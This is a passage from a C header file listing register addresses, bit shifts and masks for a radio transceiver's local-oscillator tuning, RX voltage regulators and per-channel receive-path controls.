#define RADIO_BK0_LO_EN2_LOMUXIN_PREAMP_STG2_EN_MASK 0x1
#define RADIO_BK0_LO_EN2_LOMUXIN_EN_SHIFT 6
#define RADIO_BK0_LO_EN2_LOMUXIN_EN_MASK 0x1
#define RADIO_BK0_LO_EN2_LOMUXOUT_EN_SHIFT 7
#define RADIO_BK0_LO_EN2_LOMUXOUT_EN_MASK 0x1
#define RADIO_BK0_LO_TUNE0 0x2e
#define RADIO_BK0_LO_TUNE0_VCOBUFF1_BIAS_SHIFT 0
#define RADIO_BK0_LO_TUNE0_VCOBUFF1_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE0_LO_VTUNE_VAR_SHIFT 4
#define RADIO_BK0_LO_TUNE0_LO_VTUNE_VAR_MASK 0xf
#define RADIO_BK0_LO_TUNE1 0x2f
#define RADIO_BK0_LO_TUNE1_DBL1_BIAS_SHIFT 0
#define RADIO_BK0_LO_TUNE1_DBL1_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE1_VCOBUFF2_BIAS_SHIFT 4
#define RADIO_BK0_LO_TUNE1_VCOBUFF2_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE2 0x30
#define RADIO_BK0_LO_TUNE2_LODR_BIAS_SHIFT 0
#define RADIO_BK0_LO_TUNE2_LODR_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE2_DBL2_BIAS_SHIFT 4
#define RADIO_BK0_LO_TUNE2_DBL2_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE3 0x31
#define RADIO_BK0_LO_TUNE3_LO_RXDR_STG1_BIAS_SHIFT 0
#define RADIO_BK0_LO_TUNE3_LO_RXDR_STG1_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE3_LO_RXDR_STG2_BIAS_SHIFT 4
#define RADIO_BK0_LO_TUNE3_LO_RXDR_STG2_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE4 0x32
#define RADIO_BK0_LO_TUNE4_LO_RXDR_STG3_BIAS_SHIFT 0
#define RADIO_BK0_LO_TUNE4_LO_RXDR_STG3_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE4_LO_TXDR_STG1_BIAS_SHIFT 4
#define RADIO_BK0_LO_TUNE4_LO_TXDR_STG1_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE5 0x33
#define RADIO_BK0_LO_TUNE5_LO_TXDR_STG3_BIAS_SHIFT 0
#define RADIO_BK0_LO_TUNE5_LO_TXDR_STG3_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE5_LO_TXDR_STG2_BIAS_SHIFT 4
#define RADIO_BK0_LO_TUNE5_LO_TXDR_STG2_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE6 0x34
#define RADIO_BK0_LO_TUNE6_LOMUXIN_STG2_BIAS_SHIFT 0
#define RADIO_BK0_LO_TUNE6_LOMUXIN_STG2_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE6_LOMUXIN_STG1_BIAS_SHIFT 4
#define RADIO_BK0_LO_TUNE6_LOMUXIN_STG1_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE7 0x35
#define RADIO_BK0_LO_TUNE7_LOMUXIN_STG4_BIAS_SHIFT 0
#define RADIO_BK0_LO_TUNE7_LOMUXIN_STG4_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE7_LOMUXIN_STG3_BIAS_SHIFT 4
#define RADIO_BK0_LO_TUNE7_LOMUXIN_STG3_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE8 0x36
#define RADIO_BK0_LO_TUNE8_LOMUXIN_PREAMP_STG1_BIAS_SHIFT 0
#define RADIO_BK0_LO_TUNE8_LOMUXIN_PREAMP_STG1_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE8_LOMUXIN_PREAMP_STG2_BIAS_SHIFT 4
#define RADIO_BK0_LO_TUNE8_LOMUXIN_PREAMP_STG2_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE9 0x37
#define RADIO_BK0_LO_TUNE9_LO_PDT_BIAS_SHIFT 0
#define RADIO_BK0_LO_TUNE9_LO_PDT_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE9_LOMUXOUT_BIAS_SHIFT 4
#define RADIO_BK0_LO_TUNE9_LOMUXOUT_BIAS_MASK 0xf
#define RADIO_BK0_LO_TUNE10 0x38
#define RADIO_BK0_LO_TUNE10_LO_PDTOUT_SEL_SHIFT 0
#define RADIO_BK0_LO_TUNE10_LO_PDTOUT_SEL_MASK 0x7
#define RADIO_BK0_LO_TUNE10_LO_PDT_CALGEN_RSEL_SHIFT 3
#define RADIO_BK0_LO_TUNE10_LO_PDT_CALGEN_RSEL_MASK 0x3
#define RADIO_BK0_LO_TUNE10_LO_PDT_EN_SHIFT 5
#define RADIO_BK0_LO_TUNE10_LO_PDT_EN_MASK 0x1
#define RADIO_BK0_LO_TUNE10_LO_PDT_CALGEN_EN_SHIFT 6
#define RADIO_BK0_LO_TUNE10_LO_PDT_CALGEN_EN_MASK 0x1
#define RADIO_BK0_LO_TUNE10_TXLOBUFF_PDT_EN_SHIFT 7
#define RADIO_BK0_LO_TUNE10_TXLOBUFF_PDT_EN_MASK 0x1
#define RADIO_BK0_RX_LDO0 0x39
#define RADIO_BK0_RX_LDO0_LDO11_RFN_TURBO_SHIFT 0
#define RADIO_BK0_RX_LDO0_LDO11_RFN_TURBO_MASK 0x1
#define RADIO_BK0_RX_LDO0_LDO11_RFN_TEST_SEL_SHIFT 1
#define RADIO_BK0_RX_LDO0_LDO11_RFN_TEST_SEL_MASK 0x1
#define RADIO_BK0_RX_LDO0_LDO11_RFN_TEST_EN_SHIFT 2
#define RADIO_BK0_RX_LDO0_LDO11_RFN_TEST_EN_MASK 0x1
#define RADIO_BK0_RX_LDO0_LDO11_RFN_BYPASS_EN_SHIFT 3
#define RADIO_BK0_RX_LDO0_LDO11_RFN_BYPASS_EN_MASK 0x1
#define RADIO_BK0_RX_LDO0_LDO11_RFN_VOUT_SEL_SHIFT 4
#define RADIO_BK0_RX_LDO0_LDO11_RFN_VOUT_SEL_MASK 0x7
#define RADIO_BK0_RX_LDO0_LDO11_RFN_EN_SHIFT 7
#define RADIO_BK0_RX_LDO0_LDO11_RFN_EN_MASK 0x1
#define RADIO_BK0_RX_LDO1 0x3a
#define RADIO_BK0_RX_LDO1_LDO11_RFS_TURBO_SHIFT 0
#define RADIO_BK0_RX_LDO1_LDO11_RFS_TURBO_MASK 0x1
#define RADIO_BK0_RX_LDO1_LDO11_RFS_TEST_SEL_SHIFT 1
#define RADIO_BK0_RX_LDO1_LDO11_RFS_TEST_SEL_MASK 0x1
#define RADIO_BK0_RX_LDO1_LDO11_RFS_TEST_EN_SHIFT 2
#define RADIO_BK0_RX_LDO1_LDO11_RFS_TEST_EN_MASK 0x1
#define RADIO_BK0_RX_LDO1_LDO11_RFS_BYPASS_EN_SHIFT 3
#define RADIO_BK0_RX_LDO1_LDO11_RFS_BYPASS_EN_MASK 0x1
#define RADIO_BK0_RX_LDO1_LDO11_RFS_VOUT_SEL_SHIFT 4
#define RADIO_BK0_RX_LDO1_LDO11_RFS_VOUT_SEL_MASK 0x7
#define RADIO_BK0_RX_LDO1_LDO11_RFS_EN_SHIFT 7
#define RADIO_BK0_RX_LDO1_LDO11_RFS_EN_MASK 0x1
#define RADIO_BK0_RX_LDO2 0x3b
#define RADIO_BK0_RX_LDO2_LDO25_BBN_TURBO_SHIFT 0
#define RADIO_BK0_RX_LDO2_LDO25_BBN_TURBO_MASK 0x1
#define RADIO_BK0_RX_LDO2_LDO25_BBN_TEST_SEL_SHIFT 1
#define RADIO_BK0_RX_LDO2_LDO25_BBN_TEST_SEL_MASK 0x1
#define RADIO_BK0_RX_LDO2_LDO25_BBN_TEST_EN_SHIFT 2
#define RADIO_BK0_RX_LDO2_LDO25_BBN_TEST_EN_MASK 0x1
#define RADIO_BK0_RX_LDO2_LDO25_BBN_BYPASS_EN_SHIFT 3
#define RADIO_BK0_RX_LDO2_LDO25_BBN_BYPASS_EN_MASK 0x1
#define RADIO_BK0_RX_LDO2_LDO25_BBN_VOUT_SEL_SHIFT 4
#define RADIO_BK0_RX_LDO2_LDO25_BBN_VOUT_SEL_MASK 0x7
#define RADIO_BK0_RX_LDO2_LDO25_BBN_EN_SHIFT 7
#define RADIO_BK0_RX_LDO2_LDO25_BBN_EN_MASK 0x1
#define RADIO_BK0_RX_LDO3 0x3c
#define RADIO_BK0_RX_LDO3_LDO25_BBS_TURBO_SHIFT 0
#define RADIO_BK0_RX_LDO3_LDO25_BBS_TURBO_MASK 0x1
#define RADIO_BK0_RX_LDO3_LDO25_BBS_TEST_SEL_SHIFT 1
#define RADIO_BK0_RX_LDO3_LDO25_BBS_TEST_SEL_MASK 0x1
#define RADIO_BK0_RX_LDO3_LDO25_BBS_TEST_EN_SHIFT 2
#define RADIO_BK0_RX_LDO3_LDO25_BBS_TEST_EN_MASK 0x1
#define RADIO_BK0_RX_LDO3_LDO25_BBS_BYPASS_EN_SHIFT 3
#define RADIO_BK0_RX_LDO3_LDO25_BBS_BYPASS_EN_MASK 0x1
#define RADIO_BK0_RX_LDO3_LDO25_BBS_VOUT_SEL_SHIFT 4
#define RADIO_BK0_RX_LDO3_LDO25_BBS_VOUT_SEL_MASK 0x7
#define RADIO_BK0_RX_LDO3_LDO25_BBS_EN_SHIFT 7
#define RADIO_BK0_RX_LDO3_LDO25_BBS_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_RF_EN 0x3d
#define RADIO_BK0_CH0_RX_RF_EN_TIA_VCTRL_EN_SHIFT 0
#define RADIO_BK0_CH0_RX_RF_EN_TIA_VCTRL_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_RF_EN_TIA_S1_EN_SHIFT 1
#define RADIO_BK0_CH0_RX_RF_EN_TIA_S1_EN_MASK 0x3
#define RADIO_BK0_CH0_RX_RF_EN_TIA_BIAS_EN_SHIFT 3
#define RADIO_BK0_CH0_RX_RF_EN_TIA_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_RF_EN_LNA1_BIAS_EN_SHIFT 4
#define RADIO_BK0_CH0_RX_RF_EN_LNA1_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_RF_EN_LNA2_BIAS_EN_SHIFT 5
#define RADIO_BK0_CH0_RX_RF_EN_LNA2_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_RF_EN_LNA2_BIAS2_EN_SHIFT 6
#define RADIO_BK0_CH0_RX_RF_EN_LNA2_BIAS2_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_RF_EN_RXLOBUFF_BIAS_EN_SHIFT 7
#define RADIO_BK0_CH0_RX_RF_EN_RXLOBUFF_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_BB_EN 0x3e
#define RADIO_BK0_CH0_RX_BB_EN_VGA2_EN_SHIFT 0
#define RADIO_BK0_CH0_RX_BB_EN_VGA2_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_BB_EN_VGA1_EN_SHIFT 1
#define RADIO_BK0_CH0_RX_BB_EN_VGA1_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_BB_EN_BIAS_EN_SHIFT 2
#define RADIO_BK0_CH0_RX_BB_EN_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_BB_EN_RX_CH0_EN_SPARE_SHIFT 3
#define RADIO_BK0_CH0_RX_BB_EN_RX_CH0_EN_SPARE_MASK 0x1f
#define RADIO_BK0_CH0_RX_TUNE0 0x3f
#define RADIO_BK0_CH0_RX_TUNE0_LNA_GC_SHIFT 0
#define RADIO_BK0_CH0_RX_TUNE0_LNA_GC_MASK 0xf
#define RADIO_BK0_CH0_RX_TUNE0_TIA_RFB_SEL_SHIFT 4
#define RADIO_BK0_CH0_RX_TUNE0_TIA_RFB_SEL_MASK 0xf
#define RADIO_BK0_CH0_RX_TUNE1 0x40
#define RADIO_BK0_CH0_RX_TUNE1_VGA1_GAINSEL_SHIFT 0
#define RADIO_BK0_CH0_RX_TUNE1_VGA1_GAINSEL_MASK 0x7
#define RADIO_BK0_CH0_RX_TUNE1_VGA1_GAIN_SPARE_SHIFT 3
#define RADIO_BK0_CH0_RX_TUNE1_VGA1_GAIN_SPARE_MASK 0x1
#define RADIO_BK0_CH0_RX_TUNE1_VGA2_GAINSEL_SHIFT 4
#define RADIO_BK0_CH0_RX_TUNE1_VGA2_GAINSEL_MASK 0x7
#define RADIO_BK0_CH0_RX_TUNE1_VGA2_GAIN_SPARE_SHIFT 7
#define RADIO_BK0_CH0_RX_TUNE1_VGA2_GAIN_SPARE_MASK 0x1
#define RADIO_BK0_CH0_RX_TUNE2 0x41
#define RADIO_BK0_CH0_RX_TUNE2_HP1_SEL_SHIFT 0
#define RADIO_BK0_CH0_RX_TUNE2_HP1_SEL_MASK 0x7
#define RADIO_BK0_CH0_RX_TUNE2_HP1_SPARE_SHIFT 3
#define RADIO_BK0_CH0_RX_TUNE2_HP1_SPARE_MASK 0x1
#define RADIO_BK0_CH0_RX_TUNE2_HP2_SEL_SHIFT 4
#define RADIO_BK0_CH0_RX_TUNE2_HP2_SEL_MASK 0x7
#define RADIO_BK0_CH0_RX_TUNE2_HP2_SPARE_SHIFT 7
#define RADIO_BK0_CH0_RX_TUNE2_HP2_SPARE_MASK 0x1
#define RADIO_BK0_CH0_RX_BIAS0 0x42
#define RADIO_BK0_CH0_RX_BIAS0_RXLOBUFF_BIAS_SHIFT 0
#define RADIO_BK0_CH0_RX_BIAS0_RXLOBUFF_BIAS_MASK 0xf
#define RADIO_BK0_CH0_RX_BIAS0_TIA_VINN_TEST_EN_SHIFT 4
#define RADIO_BK0_CH0_RX_BIAS0_TIA_VINN_TEST_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_BIAS0_TIA_VINP_TEST_EN_SHIFT 5
#define RADIO_BK0_CH0_RX_BIAS0_TIA_VINP_TEST_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_BIAS0_TIA_SAFE_EN_SHIFT 6
#define RADIO_BK0_CH0_RX_BIAS0_TIA_SAFE_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_BIAS1 0x43
#define RADIO_BK0_CH0_RX_BIAS1_TIA_VCTRL_GM_SHIFT 0
#define RADIO_BK0_CH0_RX_BIAS1_TIA_VCTRL_GM_MASK 0xf
#define RADIO_BK0_CH0_RX_BIAS1_TIA_VCTRL_PN_SHIFT 4
#define RADIO_BK0_CH0_RX_BIAS1_TIA_VCTRL_PN_MASK 0x1
#define RADIO_BK0_CH0_RX_BIAS1_TIA_SPARE_SHIFT 5
#define RADIO_BK0_CH0_RX_BIAS1_TIA_SPARE_MASK 0x7
#define RADIO_BK0_CH0_RX_BIAS2 0x44
#define RADIO_BK0_CH0_RX_BIAS2_TIA_VCMREF_SEL_SHIFT 0
#define RADIO_BK0_CH0_RX_BIAS2_TIA_VCMREF_SEL_MASK 0x7
#define RADIO_BK0_CH0_RX_BIAS2_TIA_VCMREF_TEST_EN_SHIFT 3
#define RADIO_BK0_CH0_RX_BIAS2_TIA_VCMREF_TEST_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_BIAS2_TIA_BIAS_SHIFT 4
#define RADIO_BK0_CH0_RX_BIAS2_TIA_BIAS_MASK 0xf
#define RADIO_BK0_CH0_RX_BIAS3 0x45
#define RADIO_BK0_CH0_RX_BIAS3_LNA2_BIAS_SHIFT 0
#define RADIO_BK0_CH0_RX_BIAS3_LNA2_BIAS_MASK 0xf
#define RADIO_BK0_CH0_RX_BIAS3_LNA1_BIAS_SHIFT 4
#define RADIO_BK0_CH0_RX_BIAS3_LNA1_BIAS_MASK 0xf
#define RADIO_BK0_CH0_RX_BIAS4 0x46
#define RADIO_BK0_CH0_RX_BIAS4_VGA1_VCMSEL_SHIFT 0
#define RADIO_BK0_CH0_RX_BIAS4_VGA1_VCMSEL_MASK 0x7
#define RADIO_BK0_CH0_RX_BIAS4_VGA1_VCM_SPARE_SHIFT 3
#define RADIO_BK0_CH0_RX_BIAS4_VGA1_VCM_SPARE_MASK 0x1
#define RADIO_BK0_CH0_RX_BIAS4_VGA2_VCMSEL_SHIFT 4
#define RADIO_BK0_CH0_RX_BIAS4_VGA2_VCMSEL_MASK 0x7
#define RADIO_BK0_CH0_RX_BIAS4_VGA2_VCM_SPARE_SHIFT 7
#define RADIO_BK0_CH0_RX_BIAS4_VGA2_VCM_SPARE_MASK 0x1
#define RADIO_BK0_CH0_RX_BIAS5 0x47
#define RADIO_BK0_CH0_RX_BIAS5_VGA1_IBSEL_SHIFT 0
#define RADIO_BK0_CH0_RX_BIAS5_VGA1_IBSEL_MASK 0x7
#define RADIO_BK0_CH0_RX_BIAS5_VGA1_IB_SPARE_SHIFT 3
#define RADIO_BK0_CH0_RX_BIAS5_VGA1_IB_SPARE_MASK 0x1
#define RADIO_BK0_CH0_RX_BIAS5_VGA2_IBSEL_SHIFT 4
#define RADIO_BK0_CH0_RX_BIAS5_VGA2_IBSEL_MASK 0x7
#define RADIO_BK0_CH0_RX_BIAS5_VGA2_IB_SPARE_SHIFT 7
#define RADIO_BK0_CH0_RX_BIAS5_VGA2_IB_SPARE_MASK 0x1
#define RADIO_BK0_CH0_RX_BIAS6 0x48
#define RADIO_BK0_CH0_RX_BIAS6_TESTSEL_SHIFT 0
#define RADIO_BK0_CH0_RX_BIAS6_TESTSEL_MASK 0x7
#define RADIO_BK0_CH0_RX_BIAS6_TEST_SPARE_SHIFT 3
#define RADIO_BK0_CH0_RX_BIAS6_TEST_SPARE_MASK 0x1
#define RADIO_BK0_CH0_RX_BIAS6_HP1_VCMSEL_SHIFT 4
#define RADIO_BK0_CH0_RX_BIAS6_HP1_VCMSEL_MASK 0x3
#define RADIO_BK0_CH0_RX_BIAS6_FASTSETTING_SEL_SHIFT 6
#define RADIO_BK0_CH0_RX_BIAS6_FASTSETTING_SEL_MASK 0x3
#define RADIO_BK0_CH0_RX_PDT 0x49
#define RADIO_BK0_CH0_RX_PDT_PKD_VTHSEL_SHIFT 0
#define RADIO_BK0_CH0_RX_PDT_PKD_VTHSEL_MASK 0x3
#define RADIO_BK0_CH0_RX_PDT_PKD_VGA_SHIFT 2
#define RADIO_BK0_CH0_RX_PDT_PKD_VGA_MASK 0x1
#define RADIO_BK0_CH0_RX_PDT_PKD_EN_SHIFT 3
#define RADIO_BK0_CH0_RX_PDT_PKD_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_PDT_TIA_SAT_VREF_SEL_SHIFT 4
#define RADIO_BK0_CH0_RX_PDT_TIA_SAT_VREF_SEL_MASK 0x3
#define RADIO_BK0_CH0_RX_PDT_SAT_IN_SEL_SHIFT 6
#define RADIO_BK0_CH0_RX_PDT_SAT_IN_SEL_MASK 0x1
#define RADIO_BK0_CH0_RX_PDT_SAT_EN_SHIFT 7
#define RADIO_BK0_CH0_RX_PDT_SAT_EN_MASK 0x1
#define RADIO_BK0_CH0_RX_TEST 0x4a
#define RADIO_BK0_CH0_RX_TEST_OUTMUX_SEL_SHIFT 0
#define RADIO_BK0_CH0_RX_TEST_OUTMUX_SEL_MASK 0xf
#define RADIO_BK0_CH0_RX_TEST_TSTMUX_SEL_SHIFT 4
#define RADIO_BK0_CH0_RX_TEST_TSTMUX_SEL_MASK 0xf
#define RADIO_BK0_CH1_RX_RF_EN 0x4b
#define RADIO_BK0_CH1_RX_RF_EN_TIA_VCTRL_EN_SHIFT 0
#define RADIO_BK0_CH1_RX_RF_EN_TIA_VCTRL_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_RF_EN_TIA_S1_EN_SHIFT 1
#define RADIO_BK0_CH1_RX_RF_EN_TIA_S1_EN_MASK 0x3
#define RADIO_BK0_CH1_RX_RF_EN_TIA_BIAS_EN_SHIFT 3
#define RADIO_BK0_CH1_RX_RF_EN_TIA_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_RF_EN_LNA1_BIAS_EN_SHIFT 4
#define RADIO_BK0_CH1_RX_RF_EN_LNA1_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_RF_EN_LNA2_BIAS_EN_SHIFT 5
#define RADIO_BK0_CH1_RX_RF_EN_LNA2_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_RF_EN_LNA2_BIAS2_EN_SHIFT 6
#define RADIO_BK0_CH1_RX_RF_EN_LNA2_BIAS2_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_RF_EN_RXLOBUFF_BIAS_EN_SHIFT 7
#define RADIO_BK0_CH1_RX_RF_EN_RXLOBUFF_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_BB_EN 0x4c
#define RADIO_BK0_CH1_RX_BB_EN_VGA2_EN_SHIFT 0
#define RADIO_BK0_CH1_RX_BB_EN_VGA2_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_BB_EN_VGA1_EN_SHIFT 1
#define RADIO_BK0_CH1_RX_BB_EN_VGA1_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_BB_EN_BIAS_EN_SHIFT 2
#define RADIO_BK0_CH1_RX_BB_EN_BIAS_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_BB_EN_RX_CH1_EN_SPARE_SHIFT 3
#define RADIO_BK0_CH1_RX_BB_EN_RX_CH1_EN_SPARE_MASK 0x1f
#define RADIO_BK0_CH1_RX_TUNE0 0x4d
#define RADIO_BK0_CH1_RX_TUNE0_LNA_GC_SHIFT 0
#define RADIO_BK0_CH1_RX_TUNE0_LNA_GC_MASK 0xf
#define RADIO_BK0_CH1_RX_TUNE0_TIA_RFB_SEL_SHIFT 4
#define RADIO_BK0_CH1_RX_TUNE0_TIA_RFB_SEL_MASK 0xf
#define RADIO_BK0_CH1_RX_TUNE1 0x4e
#define RADIO_BK0_CH1_RX_TUNE1_VGA1_GAINSEL_SHIFT 0
#define RADIO_BK0_CH1_RX_TUNE1_VGA1_GAINSEL_MASK 0x7
#define RADIO_BK0_CH1_RX_TUNE1_VGA1_GAIN_SPARE_SHIFT 3
#define RADIO_BK0_CH1_RX_TUNE1_VGA1_GAIN_SPARE_MASK 0x1
#define RADIO_BK0_CH1_RX_TUNE1_VGA2_GAINSEL_SHIFT 4
#define RADIO_BK0_CH1_RX_TUNE1_VGA2_GAINSEL_MASK 0x7
#define RADIO_BK0_CH1_RX_TUNE1_VGA2_GAIN_SPARE_SHIFT 7
#define RADIO_BK0_CH1_RX_TUNE1_VGA2_GAIN_SPARE_MASK 0x1
#define RADIO_BK0_CH1_RX_TUNE2 0x4f
#define RADIO_BK0_CH1_RX_TUNE2_HP1_SEL_SHIFT 0
#define RADIO_BK0_CH1_RX_TUNE2_HP1_SEL_MASK 0x7
#define RADIO_BK0_CH1_RX_TUNE2_HP1_SPARE_SHIFT 3
#define RADIO_BK0_CH1_RX_TUNE2_HP1_SPARE_MASK 0x1
#define RADIO_BK0_CH1_RX_TUNE2_HP2_SEL_SHIFT 4
#define RADIO_BK0_CH1_RX_TUNE2_HP2_SEL_MASK 0x7
#define RADIO_BK0_CH1_RX_TUNE2_HP2_SPARE_SHIFT 7
#define RADIO_BK0_CH1_RX_TUNE2_HP2_SPARE_MASK 0x1
#define RADIO_BK0_CH1_RX_BIAS0 0x50
#define RADIO_BK0_CH1_RX_BIAS0_RXLOBUFF_BIAS_SHIFT 0
#define RADIO_BK0_CH1_RX_BIAS0_RXLOBUFF_BIAS_MASK 0xf
#define RADIO_BK0_CH1_RX_BIAS0_TIA_VINN_TEST_EN_SHIFT 4
#define RADIO_BK0_CH1_RX_BIAS0_TIA_VINN_TEST_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_BIAS0_TIA_VINP_TEST_EN_SHIFT 5
#define RADIO_BK0_CH1_RX_BIAS0_TIA_VINP_TEST_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_BIAS0_TIA_SAFE_EN_SHIFT 6
#define RADIO_BK0_CH1_RX_BIAS0_TIA_SAFE_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_BIAS1 0x51
#define RADIO_BK0_CH1_RX_BIAS1_TIA_VCTRL_GM_SHIFT 0
#define RADIO_BK0_CH1_RX_BIAS1_TIA_VCTRL_GM_MASK 0xf
#define RADIO_BK0_CH1_RX_BIAS1_TIA_VCTRL_PN_SHIFT 4
#define RADIO_BK0_CH1_RX_BIAS1_TIA_VCTRL_PN_MASK 0x1
#define RADIO_BK0_CH1_RX_BIAS1_TIA_SPARE_SHIFT 5
#define RADIO_BK0_CH1_RX_BIAS1_TIA_SPARE_MASK 0x7
#define RADIO_BK0_CH1_RX_BIAS2 0x52
#define RADIO_BK0_CH1_RX_BIAS2_TIA_VCMREF_SEL_SHIFT 0
#define RADIO_BK0_CH1_RX_BIAS2_TIA_VCMREF_SEL_MASK 0x7
#define RADIO_BK0_CH1_RX_BIAS2_TIA_VCMREF_TEST_EN_SHIFT 3
#define RADIO_BK0_CH1_RX_BIAS2_TIA_VCMREF_TEST_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_BIAS2_TIA_BIAS_SHIFT 4
#define RADIO_BK0_CH1_RX_BIAS2_TIA_BIAS_MASK 0xf
#define RADIO_BK0_CH1_RX_BIAS3 0x53
#define RADIO_BK0_CH1_RX_BIAS3_LNA2_BIAS_SHIFT 0
#define RADIO_BK0_CH1_RX_BIAS3_LNA2_BIAS_MASK 0xf
#define RADIO_BK0_CH1_RX_BIAS3_LNA1_BIAS_SHIFT 4
#define RADIO_BK0_CH1_RX_BIAS3_LNA1_BIAS_MASK 0xf
#define RADIO_BK0_CH1_RX_BIAS4 0x54
#define RADIO_BK0_CH1_RX_BIAS4_VGA1_VCMSEL_SHIFT 0
#define RADIO_BK0_CH1_RX_BIAS4_VGA1_VCMSEL_MASK 0x7
#define RADIO_BK0_CH1_RX_BIAS4_VGA1_VCM_SPARE_SHIFT 3
#define RADIO_BK0_CH1_RX_BIAS4_VGA1_VCM_SPARE_MASK 0x1
#define RADIO_BK0_CH1_RX_BIAS4_VGA2_VCMSEL_SHIFT 4
#define RADIO_BK0_CH1_RX_BIAS4_VGA2_VCMSEL_MASK 0x7
#define RADIO_BK0_CH1_RX_BIAS4_VGA2_VCM_SPARE_SHIFT 7
#define RADIO_BK0_CH1_RX_BIAS4_VGA2_VCM_SPARE_MASK 0x1
#define RADIO_BK0_CH1_RX_BIAS5 0x55
#define RADIO_BK0_CH1_RX_BIAS5_VGA1_IBSEL_SHIFT 0
#define RADIO_BK0_CH1_RX_BIAS5_VGA1_IBSEL_MASK 0x7
#define RADIO_BK0_CH1_RX_BIAS5_VGA1_IB_SPARE_SHIFT 3
#define RADIO_BK0_CH1_RX_BIAS5_VGA1_IB_SPARE_MASK 0x1
#define RADIO_BK0_CH1_RX_BIAS5_VGA2_IBSEL_SHIFT 4
#define RADIO_BK0_CH1_RX_BIAS5_VGA2_IBSEL_MASK 0x7
#define RADIO_BK0_CH1_RX_BIAS5_VGA2_IB_SPARE_SHIFT 7
#define RADIO_BK0_CH1_RX_BIAS5_VGA2_IB_SPARE_MASK 0x1
#define RADIO_BK0_CH1_RX_BIAS6 0x56
#define RADIO_BK0_CH1_RX_BIAS6_TESTSEL_SHIFT 0
#define RADIO_BK0_CH1_RX_BIAS6_TESTSEL_MASK 0x7
#define RADIO_BK0_CH1_RX_BIAS6_TEST_SPARE_SHIFT 3
#define RADIO_BK0_CH1_RX_BIAS6_TEST_SPARE_MASK 0x1
#define RADIO_BK0_CH1_RX_BIAS6_HP1_VCMSEL_SHIFT 4
#define RADIO_BK0_CH1_RX_BIAS6_HP1_VCMSEL_MASK 0x3
#define RADIO_BK0_CH1_RX_BIAS6_FASTSETTING_SEL_SHIFT 6
#define RADIO_BK0_CH1_RX_BIAS6_FASTSETTING_SEL_MASK 0x3
#define RADIO_BK0_CH1_RX_PDT 0x57
#define RADIO_BK0_CH1_RX_PDT_PKD_VTHSEL_SHIFT 0
#define RADIO_BK0_CH1_RX_PDT_PKD_VTHSEL_MASK 0x3
#define RADIO_BK0_CH1_RX_PDT_PKD_VGA_SHIFT 2
#define RADIO_BK0_CH1_RX_PDT_PKD_VGA_MASK 0x1
#define RADIO_BK0_CH1_RX_PDT_PKD_EN_SHIFT 3
#define RADIO_BK0_CH1_RX_PDT_PKD_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_PDT_TIA_SAT_VREF_SEL_SHIFT 4
#define RADIO_BK0_CH1_RX_PDT_TIA_SAT_VREF_SEL_MASK 0x3
#define RADIO_BK0_CH1_RX_PDT_SAT_IN_SEL_SHIFT 6
#define RADIO_BK0_CH1_RX_PDT_SAT_IN_SEL_MASK 0x1
#define RADIO_BK0_CH1_RX_PDT_SAT_EN_SHIFT 7
#define RADIO_BK0_CH1_RX_PDT_SAT_EN_MASK 0x1
#define RADIO_BK0_CH1_RX_TEST 0x58
#define RADIO_BK0_CH1_RX_TEST_OUTMUX_SEL_SHIFT 0
#define RADIO_BK0_CH1_RX_TEST_OUTMUX_SEL_MASK 0xf
#define RADIO_BK0_CH1_RX_TEST_TSTMUX_SEL_SHIFT 4
#define RADIO_BK0_CH1_RX_TEST_TSTMUX_SEL_MASK 0xf
#define RADIO_BK0_CH2_RX_RF_EN 0x59
#define RADIO_BK0_CH2_RX_RF_EN_TIA_VCTRL_EN_SHIFT 0
#define RADIO_BK0_CH2_RX_RF_EN_TIA_VCTRL_EN_MASK 0x1
#define RADIO_BK0_CH2_RX_RF_EN_TIA_S1_EN_SHIFT 1
#define RADIO_BK0_CH2_RX_RF_EN_TIA_S1_EN_MASK 0x3
#define RADIO_BK0_CH2_RX_RF_EN_TIA_BIAS_EN_SHIFT 3
